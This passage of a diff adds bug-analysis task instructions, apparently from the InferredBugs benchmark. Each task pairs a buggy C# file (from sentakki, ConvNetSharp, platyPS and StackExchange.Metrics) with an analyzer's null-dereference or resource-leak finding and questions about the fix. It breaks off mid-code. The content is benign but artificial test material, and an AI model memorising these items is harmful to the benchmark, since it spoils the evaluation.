+osu.Game.Rulesets.Sentakki/Objects/Drawables/Pieces/SlideVisual.cs
+
+### Key:
+SlideVisual.cs|PerformEntryAnimation|NULL_DEREFERENCE
+
+### Node Key:
+1ca5f3cb6750b76593061ea065f8fb1b
+
+### Hash:
+700beeaa7502910866d867afbe9ec41d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0333/instruction.md b/inferredbugs-0333/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..85192754d409560de532e4be22efd893ff8c6d75
--- /dev/null
+++ b/inferredbugs-0333/instruction.md
@@ -0,0 +1,321 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** sentakki
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Buffers;
+using System.Collections.Generic;
+using System.Linq;
+using osu.Framework.Allocation;
+using osu.Framework.Bindables;
+using osu.Framework.Graphics;
+using osu.Framework.Graphics.Containers;
+using osu.Framework.Graphics.Pooling;
+using osu.Framework.Graphics.Sprites;
+using osu.Framework.Graphics.Textures;
+using osu.Game.Rulesets.Objects;
+using osu.Game.Rulesets.Objects.Types;
+using osu.Game.Rulesets.Sentakki.Configuration;
+
+namespace osu.Game.Rulesets.Sentakki.Objects.Drawables.Pieces
+{
+    public class SlideVisual : CompositeDrawable
+    {
+        // This will be proxied, so a must.
+        public override bool RemoveWhenNotAlive => false;
+
+        private int completedSegments;
+        public int CompletedSegments
+        {
+            get => completedSegments;
+            set
+            {
+                completedSegments = value;
+                updateProgress(completedSegments);
+            }
+        }
+        private SliderPath path;
+
+        public SliderPath Path
+        {
+            get => path;
+            set
+            {
+                if (path == value)
+                    return;
+                path = value;
+                updateVisuals();
+                updateProgress(CompletedSegments);
+            }
+        }
+
+        private Container<SlideSegment> segments;
+        private DrawablePool<SlideSegment> segmentPool;
+        private DrawablePool<SlideChevron> chevronPool;
+
+        private readonly BindableBool snakingIn = new BindableBool(true);
+
+        public int SegmentCount => segments.Count;
+
+        public SlideVisual()
+        {
+            Anchor = Anchor.Centre;
+            Origin = Anchor.Centre;
+        }
+
+        [BackgroundDependencyLoader(true)]
+        private void load(SentakkiRulesetConfigManager sentakkiConfig)
+        {
+            sentakkiConfig?.BindWith(SentakkiRulesetSettings.SnakingSlideBody, snakingIn);
+
+            AddRangeInternal(new Drawable[]{
+                segmentPool = new DrawablePool<SlideSegment>(20),
+                chevronPool = new DrawablePool<SlideChevron>(61),
+                segments = new Container<SlideSegment>(),
+            });
+        }
+
+        private const int chevrons_per_eith = 8;
+        private const double ring_radius = 297;
+        private const double chevrons_per_distance = (chevrons_per_eith * 8) / (2 * Math.PI * ring_radius);
+        private const double distance_per_chevron = 1 / chevrons_per_distance;
+        private const double endpoint_distance = /*r*/34;
+
+        public static int ChevronsInPath(SliderPath path)
+        {
+            var (array, count) = splitIntoContinuousPaths(path);
+            var chevrons = array.Take(count).Sum(p => chevronsInContinuousPath(p));
+            ArrayPool<SliderPath>.Shared.Return(array);
+            return chevrons;
+        }
+
+        /// <returns>A rented array which needs to be returned to <see cref="ArrayPool&lt;SliderPath&gt;.Shared"/></returns>
+        private static (SliderPath[] array, int count) splitIntoContinuousPaths(SliderPath path)
+        {
+            // first node will not split
+            var count = path.ControlPoints.Skip(1).Count(c => c.Type.Value == PathType.Linear) + 1;
+            var paths = ArrayPool<SliderPath>.Shared.Rent(count);
+            int pathIndex = 0;
+            for (int i = 0; i < count; i++) if(paths[i] is null) paths[i] = new SliderPath();
+            paths[0].ControlPoints.Clear();
+            paths[0].ControlPoints.Add(path.ControlPoints[0]);
+            for (int i = 1; i < path.ControlPoints.Count; i++)
+            {
+                var controlPoint = path.ControlPoints[i];
+                paths[pathIndex].ControlPoints.Add(controlPoint);
+                if (controlPoint.Type.Value == PathType.Linear)
+                {
+                    // TODO test the angle here as continuous -> linear can still be smooth
+                    pathIndex++;
+                    paths[pathIndex].ControlPoints.Clear();
+                    paths[pathIndex].ControlPoints.Add(controlPoint);
+                }
+            }
+            return (paths, count);
+        }
+
+        private static int chevronsInContinuousPath(SliderPath path)
+        {
+            return (int)Math.Ceiling((path.Distance - (2 * endpoint_distance)) * chevrons_per_distance);
+        }
+
+        private void updateVisuals()
+        {
+            foreach (var segment in segments)
+                segment.ClearChevrons();
+            segments.Clear(false);
+
+            var reverseSegments = new List<SlideSegment>();
+            void visualizePath(SliderPath path)
+            {
+                var chevronCount = chevronsInContinuousPath(path);
+                var totalDistance = path.Distance;
+                var safeDistance = totalDistance - (endpoint_distance * 2);
+                var distancePerChevron = safeDistance / chevronCount;
+
+                SlideSegment currentSegment = segmentPool.Get();
+                reverseSegments.Add(currentSegment);
+
+                float lastAngle = path.PositionAt(0).GetDegreesFromPosition(path.PositionAt(0.1 / totalDistance));
+                var previousPosition = path.PositionAt(0);
+                for (int i = 0; i < chevronCount; i++)
+                {
+                    var progress = (double)i / ( chevronCount - 1 ); // from 0 to 1, both inclusive
+
+                    var position = path.PositionAt(((progress * safeDistance) + endpoint_distance) / totalDistance);
+                    var angle = previousPosition.GetDegreesFromPosition(position);
+
+                    currentSegment.Add(chevronPool.Get().With(c => {
+                        c.Position = position;
+                        c.Rotation = angle;
+                        c.ShouldHide = false;
+                        c.Alpha = 1;
+                        c.Depth = i; // earlier ones should remain on top
+                    }));
+
+                    // add next segment if not last ( last segment has up to 5 chevrons while all other 3 )
+                    if ( i % 3 == 2 && chevronCount - 3 > i )
+                    {
+                        currentSegment = segmentPool.Get();
+                        reverseSegments.Add(currentSegment);
+                    }
+
+                    lastAngle = angle;
+                    previousPosition = position;
+                }
+            }
+
+            var (paths, count) = splitIntoContinuousPaths(path);
+            for (int i = 0; i < count; i++) visualizePath(paths[i]);
+            ArrayPool<SliderPath>.Shared.Return(paths);
+
+            segments.AddRange( reverseSegments.Reverse<SlideSegment>() );
+        }
+
+        private void updateProgress(int completedNodes)
+        {
+            for (int i = 1; i <= segments.Count; ++i)
+            {
+                segments[^i].Alpha = i <= completedNodes ? 0 : 1;
+            }
+        }
+
+        public void PerformEntryAnimation(double duration)
+        {
+            if (snakingIn.Value)
+            {
+                int chevrons = (int)Math.Ceiling(Path.Distance / distance_per_chevron);
+                double fadeDuration = duration / chevrons;
+                double currentOffset = duration / 2;
+                for (int i = segments.Count - 1; i >= 0; i--)
+                {
+                    var segment = segments[i];
+                    for (int j = segment.Children.Count - 1; j >= 0; j--)
+                    {
+                        var chevron = segment.Children[j] as SlideChevron;
+                        if (!chevron.ShouldHide)
+                            chevron.FadeOut().Delay(currentOffset).FadeInFromZero(fadeDuration * 2);
+                        currentOffset += fadeDuration / 2;
+                    }
+                }
+            }
+            else
+            {
+                this.FadeOut().Delay(duration / 2).FadeIn(duration / 2);
+            }
+        }
+
+        public void PerformExitAnimation(double duration)
+        {
+            int chevronsLeft = (int)Math.Ceiling(Path.Distance / distance_per_chevron);
+            double fadeDuration() => duration / chevronsLeft;
+            double currentOffset = 0;
+            for (int i = segments.Count - 1; i >= 0; i--)
+            {
+                var segment = segments[i];
+                if (segment.Alpha == 0)
+                {
+                    chevronsLeft -= segment.ChevronCount;
+                    continue;
+                }
+
+                for (int j = segment.Children.Count - 1; j >= 0; j--)
+                {
+                    var chevron = segment.Children[j] as SlideChevron;
+                    if (!chevron.ShouldHide)
+                        chevron.Delay(currentOffset).FadeOut(fadeDuration() * 2);
+                    currentOffset += fadeDuration() / 2;
+                }
+            }
+        }
+
+        private class SlideSegment : PoolableDrawable
+        {
+            public void ClearChevrons() => ClearInternal(false);
+            public void Add(Drawable drawable) => AddInternal(drawable);
+            public int ChevronCount => InternalChildren.Count;
+
+            public IReadOnlyList<Drawable> Children => InternalChildren;
+        }
+
+        private class SlideChevron : PoolableDrawable
+        {
+            public bool ShouldHide;
+
+            public SlideChevron()
+            {
+                Anchor = Anchor.Centre;
+                Origin = Anchor.Centre;
+            }
+
+            [BackgroundDependencyLoader]
+            private void load(TextureStore textures)
+            {
+                AddInternal(new Sprite
+                {
+                    Anchor = Anchor.Centre,
+                    Origin = Anchor.Centre,
+                    Texture = textures.Get("slide"),
+                });
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `chevron` last assigned on line 220 could be null and is dereferenced at line 221, column 21.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void SlideVisual.PerformExitAnimation(Double)
+
+### File:
+osu.Game.Rulesets.Sentakki/Objects/Drawables/Pieces/SlideVisual.cs
+
+### Key:
+SlideVisual.cs|PerformExitAnimation|NULL_DEREFERENCE
+
+### Node Key:
+1ca5f3cb6750b76593061ea065f8fb1b
+
+### Hash:
+5c9e641fa001daa9f6dc3ac9b6faf5dd
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0335/instruction.md b/inferredbugs-0335/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..07426732ca1cd46635208bbe86fd2ad5713a6352
--- /dev/null
+++ b/inferredbugs-0335/instruction.md
@@ -0,0 +1,110 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ConvNetSharp
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using ConvNetSharp.Core;
+using ConvNetSharp.Core.Layers.Double;
+using ConvNetSharp.Core.Training.Double;
+using ConvNetSharp.Volume;
+using ConvNetSharp.Volume.Double;
+
+namespace MinimalExample
+{
+    internal class Program
+    {
+        private static void Main()
+        {
+            // species a 2-layer neural network with one hidden layer of 20 neurons
+            var net = new Net<double>();
+
+            // input layer declares size of input. here: 2-D data
+            // ConvNetJS works on 3-Dimensional volumes (width, height, depth), but if you're not dealing with images
+            // then the first two dimensions (width, height) will always be kept at size 1
+            net.AddLayer(new InputLayer(1, 1, 2));
+
+            // declare 20 neurons
+            net.AddLayer(new FullyConnLayer(20));
+
+            // declare a ReLU (rectified linear unit non-linearity)
+            net.AddLayer(new ReluLayer());
+
+            // declare a fully connected layer that will be used by the softmax layer
+            net.AddLayer(new FullyConnLayer(10));
+
+            // declare the linear classifier on top of the previous hidden layer
+            net.AddLayer(new SoftmaxLayer(10));
+
+            // forward a random data point through the network
+            var x = new Volume(new[] { 0.3, -0.5 }, new Shape(2));
+
+            var prob = net.Forward(x);
+
+            // prob is a Volume. Volumes have a property Weights that stores the raw data, and WeightGradients that stores gradients
+            Console.WriteLine("probability that x is class 0: " + prob.Get(0)); // prints e.g. 0.50101
+
+            var trainer = new SgdTrainer(net) { LearningRate = 0.01, L2Decay = 0.001 };
+            trainer.Train(x, new Volume(new[] { 1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0 }, new Shape(1, 1, 10, 1))); // train the network, specifying that x is class zero
+
+            var prob2 = net.Forward(x);
+            Console.WriteLine("probability that x is class 0: " + prob2.Get(0));
+            // now prints 0.50374, slightly higher than previous 0.50101: the networks
+            // weights have been adjusted by the Trainer to give a higher probability to
+            // the class we trained the network with (zero)
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource trainer of type ConvNetSharp.Core.Training.Double.SgdTrainer, Leaked resource x of type ConvNetSharp.Volume.Double.Volume, Leaked resource (output of ConvNetSharp.Volume.Double.Volume::.ctor() at Line 43) of type ConvNetSharp.Volume.Double.Volume in method "Void Program.Main()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Program.Main()
+
+### File:
+Examples/MinimalExample/Program.cs
+
+### Key:
+Program.cs|Main|DOTNET_RESOURCE_LEAK
+
+### Hash:
+f539b2edd403b97ee57633f3c77aa260
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0351/instruction.md b/inferredbugs-0351/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6b4907fa436bcb26163df7050006c218e2193407
--- /dev/null
+++ b/inferredbugs-0351/instruction.md
@@ -0,0 +1,234 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** platyPS
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using Markdown.MAML.Model;
+
+namespace Markdown.MAML.Parser
+{
+    /// <summary>
+    /// This class contain logic to render maml from the Model.
+    /// </summary>
+    public class MamlRenderer
+    {
+        private enum State
+        {
+            None,
+            Command,
+            
+        }
+
+        private StringBuilder _stringBuilder = new StringBuilder();
+        private DocumentNode _root;
+        private State _state;
+        private Stack<string> _tagStack;
+        private IEnumerator<MarkdownNode> _rootEnumerator;
+
+        public const string XML_PREAMBULA = @"<?xml version=""1.0"" encoding=""utf-8""?>
+<helpItems schema=""maml"">
+";
+        public const string COMMAND_PREAMBULA = @"<command:command xmlns:maml=""http://schemas.microsoft.com/maml/2004/10"" xmlns:command=""http://schemas.microsoft.com/maml/dev/command/2004/10"" xmlns:dev=""http://schemas.microsoft.com/maml/dev/2004/10"" xmlns:MSHelp=""http://msdn.microsoft.com/mshelp"">";
+
+        private const int COMMAND_NAME_HEADING_LEVEL = 2;
+        private const int COMMAND_ENTRIES_HEADING_LEVEL = 3;
+
+        public MamlRenderer(DocumentNode root)
+        {
+            _root = root;
+            _tagStack = new Stack<string>();
+            if (_root.Children == null)
+            {
+                // HACK:
+                _rootEnumerator = (new LinkedList<MarkdownNode>()).GetEnumerator();
+            }
+            else
+            {
+                _rootEnumerator = _root.Children.GetEnumerator();
+            }
+        }
+
+        private void PushTag(string tag)
+        {
+            _stringBuilder.AppendFormat("<{0}>\n", tag);
+            _tagStack.Push(tag);
+        }
+
+        private void PopTag(string tag)
+        {
+            string poped = _tagStack.Pop();
+            if (poped != tag)
+            {
+                throw new FormatException("Expecting pop " + tag + ", but got " + poped);
+            }
+            _stringBuilder.AppendFormat("</{0}>\n", tag);
+        }
+
+        private void PopAllTags()
+        {
+            PopTag(_tagStack.Count);
+        }
+
+        private void PopTag(int count)
+        {
+            for (int i = 0; i < count; i++) 
+            { 
+                _stringBuilder.AppendFormat("</{0}>\n", _tagStack.Pop());
+            }
+        }
+
+        public string ToMamlString()
+        {
+            _stringBuilder.Clear();
+            _state = State.None;
+            _stringBuilder.AppendLine(XML_PREAMBULA);
+             
+            AddCommands();
+
+            _stringBuilder.AppendLine("</helpItems>");
+            return _stringBuilder.ToString();
+        }
+
+        private MarkdownNode GetCurrentNode()
+        {
+            return _rootEnumerator.Current;
+        }
+
+        private MarkdownNode GetNextNode()
+        {
+            if (_rootEnumerator.MoveNext())
+            {
+                return _rootEnumerator.Current;
+            }
+
+            return null;
+        }
+
+        private void AddCommands()
+        {
+            MarkdownNode markdownNode;
+            _stringBuilder.AppendLine(COMMAND_PREAMBULA);
+            while ((markdownNode = GetNextNode()) != null)
+            {
+                if (markdownNode is HeadingNode)
+                {
+                    var headingNode = markdownNode as HeadingNode;
+                    switch (headingNode.HeadingLevel)
+                    {
+                        case COMMAND_NAME_HEADING_LEVEL :
+                        {
+                            PopAllTags();
+                            _state = State.Command;
+
+                            PushTag("command:details");
+                            _stringBuilder.AppendFormat("<command:name>{0}</command:name>", headingNode.Text);
+                            AddDescription();
+                            PopTag("command:details");
+                            
+                            break;
+                        }
+                        default: throw new HelpSchemaException("Booo, I don't know what is the heading level " + headingNode.HeadingLevel);
+                    }
+                }
+            }
+            //PopAllTags();
+
+            _stringBuilder.AppendLine("</command:command>");
+        }
+
+        private void AddDescription()
+        {
+            var node = GetNextNode();
+
+            // check for appropriate header
+            if (node.NodeType != MarkdownNodeType.Heading)
+            {
+                throw new HelpSchemaException("Expect ###DESCRIPTION");
+            }
+
+            var headingNode = node as HeadingNode;
+            if (headingNode.HeadingLevel != COMMAND_ENTRIES_HEADING_LEVEL)
+            {
+                throw new HelpSchemaException("Expect ###DESCRIPTION");
+            }
+
+            if (StringComparer.OrdinalIgnoreCase.Compare(headingNode.Text, "DESCRIPTION") != 0)
+            {
+                throw new HelpSchemaException("Expect ###DESCRIPTION");
+            }
+
+            node = GetNextNode();
+            if (node.NodeType != MarkdownNodeType.Paragraph)
+            {
+                throw new HelpSchemaException("Expect DESCRIPTION text");
+            }
+
+            PushTag("maml:description");
+            PushTag("maml:para");
+            _stringBuilder.AppendLine((node as ParagraphNode).Text);
+            PopTag(2);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `headingNode` last assigned on line 149 could be null and is dereferenced at line 150, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void MamlRenderer.AddDescription()
+
+### File:
+src/Markdown.MAML/Parser/MamlRenderer.cs
+
+### Key:
+MamlRenderer.cs|AddDescription|NULL_DEREFERENCE
+
+### Node Key:
+90535029835413c6e5d1bdebbf52bdf9
+
+### Hash:
+cd5342b3a32f6f4f780de9cf797101ce
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0356/instruction.md b/inferredbugs-0356/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..21895c82f0d325701f540ccfbc3386e81fd73ba4
--- /dev/null
+++ b/inferredbugs-0356/instruction.md
@@ -0,0 +1,459 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** StackExchange.Metrics
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Net;
+using System.Net.Http;
+using System.Net.Sockets;
+using System.Threading;
+using System.Threading.Tasks;
+using StackExchange.Metrics;
+using StackExchange.Metrics.Handlers;
+using StackExchange.Metrics.Metrics;
+
+namespace Scratch
+{
+    class Program
+    {
+        static Task s_samplerTask;
+        static CancellationTokenSource s_cancellationTokenSource;
+
+       static async Task Main(string[] args)
+        {
+            //BenchmarkRunner.Run<Benchmark>();
+            //var x = 1;
+            //if (x == 1)
+            //{
+            //    return;
+            //}
+
+            s_cancellationTokenSource = new CancellationTokenSource();
+
+            Debug.AutoFlush = true;
+
+            const string LocalEndpointKey = "Local";
+
+            var localHandler = new LocalMetricHandler();
+            var options = new MetricsCollectorOptions(exception =>
+            {
+                Console.WriteLine("Hey, there was an exception.");
+                Console.WriteLine(exception);
+            })
+            {
+                Endpoints = new MetricEndpoint[] {
+                    new MetricEndpoint(LocalEndpointKey, localHandler),
+                    new MetricEndpoint("Test HTTP 1", new TestBosunMetricHandler(new Uri("http://127.0.0.1/"))),
+                    new MetricEndpoint("Test HTTP 2", new TestSignalFxHandler(new Uri("http://127.0.0.1/"))),
+                    //new MetricEndpoint("Test UDP", new TestUdpMetricHandler(s_cancellationTokenSource.Token) { MaxPayloadSize = 320 }),
+                    //new MetricEndpoint("Bosun (no URL)", new BosunMetricHandler(null)),
+                    //new MetricEndpoint("Bosun", new BosunMetricHandler(new Uri("http://devbosun.ds.stackexchange.com/"))),
+                    //new MetricEndpoint("DataDog Agent", new DataDogStatsdMetricHandler("dogstatsd.datadog.svc.ny-intkube.k8s", 8125)),
+                    //new MetricEndpoint("SignalFx Agent", new SignalFxMetricHandler(new Uri("http://sfxgateway.signalfx.svc.ny-intkube.k8s:18080"))),
+                    //new MetricEndpoint("DataDog Cloud", new DataDogMetricHandler(new Uri("https://api.datadoghq.com/"), "{API_KEY}", "{APP_KEY}")),
+                    //new MetricEndpoint("DataDog Cloud (no URL)", new DataDogMetricHandler(null, "{API_KEY}", "{APP_KEY}")),
+                    //new MetricEndpoint("SignalFx Cloud", new SignalFxMetricHandler(new Uri("https://ingest.us1.signalfx.com/"), "{API_KEY}")),
+                    //new MetricEndpoint("SignalFx Cloud (no URL)", new SignalFxMetricHandler(null, "{API_KEY}")),
+                },
+                MetricsNamePrefix = "bosun.reporter.",
+                ThrowOnPostFail = true,
+                ThrowOnQueueFull = false,
+                SnapshotInterval = TimeSpan.FromSeconds(10),
+                PropertyToTagName = NameTransformers.CamelToLowerSnakeCase,
+                TagValueConverter = (name, value) => name == "converted" ? value.ToLowerInvariant() : value,
+                DefaultTags = new Dictionary<string, string> { {"host", NameTransformers.Sanitize(Environment.MachineName.ToLower())} }
+            };
+
+            var collector = new MetricsCollector(options);
+
+            collector.BeforeSerialization += () => Console.WriteLine("BosunReporter: Running metrics snapshot.");
+            collector.AfterSerialization += info => Console.WriteLine($"BosunReporter: Metric Snapshot wrote {info.Count} metrics ({info.BytesWritten} bytes) to {info.Endpoint} in {info.Duration.TotalMilliseconds.ToString("0.##")}ms");
+            collector.AfterSend += info =>
+            {
+                if (info.Endpoint == LocalEndpointKey)
+                {
+                    foreach (var reading in localHandler.GetReadings())
+                    {
+                        Console.WriteLine($"{reading.Name}{reading.Suffix}@{reading.Timestamp:s} {reading.Value}");
+                    }
+                }
+                Console.WriteLine($"BosunReporter: Payload {info.PayloadType} - {info.BytesWritten} bytes posted to endpoint {info.Endpoint} in {info.Duration.TotalMilliseconds.ToString("0.##")}ms ({(info.Successful ? "SUCCESS" : "FAILED")})");
+            };
+
+            collector.BindMetric("my_counter", "increments", typeof(TestCounter));
+            var counter = collector.GetMetric<TestCounter>("my_counter", "increments", "This is meaningless.");
+            counter.Increment();
+            counter.Increment();
+
+            var gauge = collector.CreateMetric("gauge", "watts", "Some description of a gauge.", new TestAggregateGauge("1"));
+            if (gauge != collector.GetMetric("gauge", "watts", null, new TestAggregateGauge("1")))
+                throw new Exception("WAT?");
+
+            try
+            {
+                collector.CreateMetric("gauge", "watts", "Some description of a gauge.", new TestAggregateGauge("1"));
+            }
+            catch(Exception)
+            {
+                goto SKIP_EXCEPTION;
+            }
+
+            throw new Exception("CreateMetric should have failed for duplicate metric.");
+
+            SKIP_EXCEPTION:
+
+            var gauge2 = collector.GetMetric<CountGauge>("gauge2", "newtons", "Number of newtons currently applied.");
+            for (var i = 0; i < 6; i++)
+            {
+                new Thread(Run).Start(new Tuple<AggregateGauge, AggregateGauge, int>(gauge, gauge2, i));
+            }
+
+            var enumCounter = collector.GetMetricGroup<SomeEnum, EnumCounter>("some_enum", "things", "Some of something");
+            enumCounter.PopulateFromEnum();
+
+            Type t;
+            string u;
+            if (collector.TryGetMetricInfo("gauge2", out t, out u))
+            {
+                Console.WriteLine(t);
+                Console.WriteLine(u);
+            }
+            else
+            {
+                Console.WriteLine("NOOOOO!!!!!");
+            }
+
+            var si = 0;
+            var snapshot = collector.GetMetric("my_snapshot", "snappys", "Snap snap snap.", new SnapshotGauge(() => ++si % 5));
+
+            var group = collector.GetMetricGroup<string, TestGroupGauge>("test_group", "tests", "These gauges are for testing.");
+            group.Add("low").Description = "Low testing.";
+            group.Add("medium").Description = "Medium testing.";
+            group.Add("high").Description = "High testing.";
+            var sampler = collector.GetMetric("sampler", "french fries", "Collect them all.", new SamplingGauge());
+            var eventGauge = collector.GetMetric("event", "count", "How many last time.", new EventGauge());
+            var converted = collector.CreateMetric("convert_test", "units", "Checking to see if the tag value converter works.", new ConvertedTagsTestCounter("ThingsAndStuff"));
+            var noHost = collector.CreateMetric<ExcludeHostCounter>("no_host", "units", "Shouldn't have a host tag.");
+
+            var externalCounter = collector.GetMetricGroup<SomeEnum, TestExternalCounter>("external.test", "units", "Should aggregate externally.");
+            externalCounter.PopulateFromEnum();
+            //            var externalNoTags = collector.CreateMetric<ExternalNoTagsCounter>("external.no_tags", "units", "Shouldn't have any tags except relay.");
+
+            var lotsOfCounters = new List<Counter>();
+            for (var i = 0; i < 400; i++)
+            {
+                lotsOfCounters.Add(collector.GetMetric("counter_" + i, "counts", "Testing lots of counters", new Counter()));
+            }
+
+            var sai = 0;
+            var random = new Random();
+
+            s_samplerTask = Task.Run(async () =>
+            {
+                while (true)
+                {
+                    await Task.Delay(100);
+
+                    sampler.Record(++sai % 35);
+                    eventGauge.Record(sai % 35);
+                    group["low"].Record(random.Next(0, 10));
+                    group["medium"].Record(random.Next(10, 20));
+                    group["high"].Record(random.Next(20, 30));
+
+                    enumCounter[SomeEnum.One].Increment();
+                    enumCounter[SomeEnum.Two].Increment(2);
+                    enumCounter[SomeEnum.Three].Increment(3);
+                    enumCounter[SomeEnum.Four].Increment(4);
+
+                    externalCounter[SomeEnum.One].Increment();
+                    if (sai % 2 == 0)
+                        externalCounter[SomeEnum.Two].Increment();
+                    if (sai % 3 == 0)
+                        externalCounter[SomeEnum.Three].Increment();
+                    if (sai % 4 == 0)
+                        externalCounter[SomeEnum.Four].Increment();
+
+                    foreach (var lotsOfCounter in lotsOfCounters)
+                    {
+                        lotsOfCounter.Increment(random.Next(0, 5));
+                    }
+
+                    //                    externalNoTags.Increment();
+
+                    converted.Increment();
+                    noHost.Increment();
+
+                    if (sai == 1000 || s_cancellationTokenSource.IsCancellationRequested)
+                    {
+                        collector.Shutdown();
+                        break;
+                    }
+                }
+            });
+
+            Console.CancelKeyPress += (object sender, ConsoleCancelEventArgs e) =>
+            {
+                s_cancellationTokenSource.Cancel();
+            };
+
+            try
+            {
+                await s_samplerTask;
+            }
+            catch (TaskCanceledException)
+            {
+                // meh, ignore
+            }
+        }
+
+        static void Run(object obj)
+        {
+            var tup = (Tuple<AggregateGauge, AggregateGauge, int>)obj;
+            var gauge1 = tup.Item1;
+            var gauge2 = tup.Item2;
+
+            if (gauge1 == gauge2)
+                throw new Exception("These weren't supposed to be the same... they have different tags.");
+
+            var rand = new Random(tup.Item3);
+            int i;
+            while (!s_cancellationTokenSource.IsCancellationRequested)
+            {
+                for (i = 0; i < 20; i++)
+                {
+                    gauge1.Record(rand.NextDouble());
+                    gauge2.Record(rand.NextDouble());
+                }
+
+                Thread.Sleep(1);
+            }
+        }
+    }
+
+
+    class TestHttpHandler : HttpMessageHandler
+    {
+        readonly TimeSpan _timeout;
+
+        public TestHttpHandler(TimeSpan timeout)
+        {
+            this._timeout = timeout;
+        }
+
+        protected override async Task<HttpResponseMessage> SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)
+        {
+            await Task.Delay(_timeout);
+            var json = await request.Content.ReadAsStringAsync();
+            //Console.WriteLine($"Sending metrics to {request.RequestUri}. JSON = {json}");
+            return new HttpResponseMessage
+            {
+                StatusCode = HttpStatusCode.OK
+            };
+        }
+    }
+
+    class TestBosunMetricHandler : BosunMetricHandler
+    {
+        public TestBosunMetricHandler(Uri baseUri) : base(baseUri)
+        {
+        }
+
+        protected override HttpClient CreateHttpClient() => new HttpClient(new TestHttpHandler(TimeSpan.FromMilliseconds(300)));
+    }
+
+    class TestSignalFxHandler : SignalFxMetricHandler
+    {
+        public TestSignalFxHandler(Uri baseUri) : base(baseUri)
+        {
+        }
+
+        protected override HttpClient CreateHttpClient() => new HttpClient(new TestHttpHandler(TimeSpan.FromMilliseconds(10)));
+    }
+
+    class TestUdpMetricHandler : DataDogStatsdMetricHandler
+    {
+        public TestUdpMetricHandler(CancellationToken cancellationToken) : base(IPAddress.Loopback.ToString(), 1234)
+        {
+            Task.Run(
+                () =>
+                {
+                    var udpClient = new UdpClient(1234);
+                    var ipEndpoint = new IPEndPoint(IPAddress.Loopback, 0);
+                    cancellationToken.Register(() => udpClient.Dispose());
+                    while (!cancellationToken.IsCancellationRequested)
+                    {
+                        try
+                        {
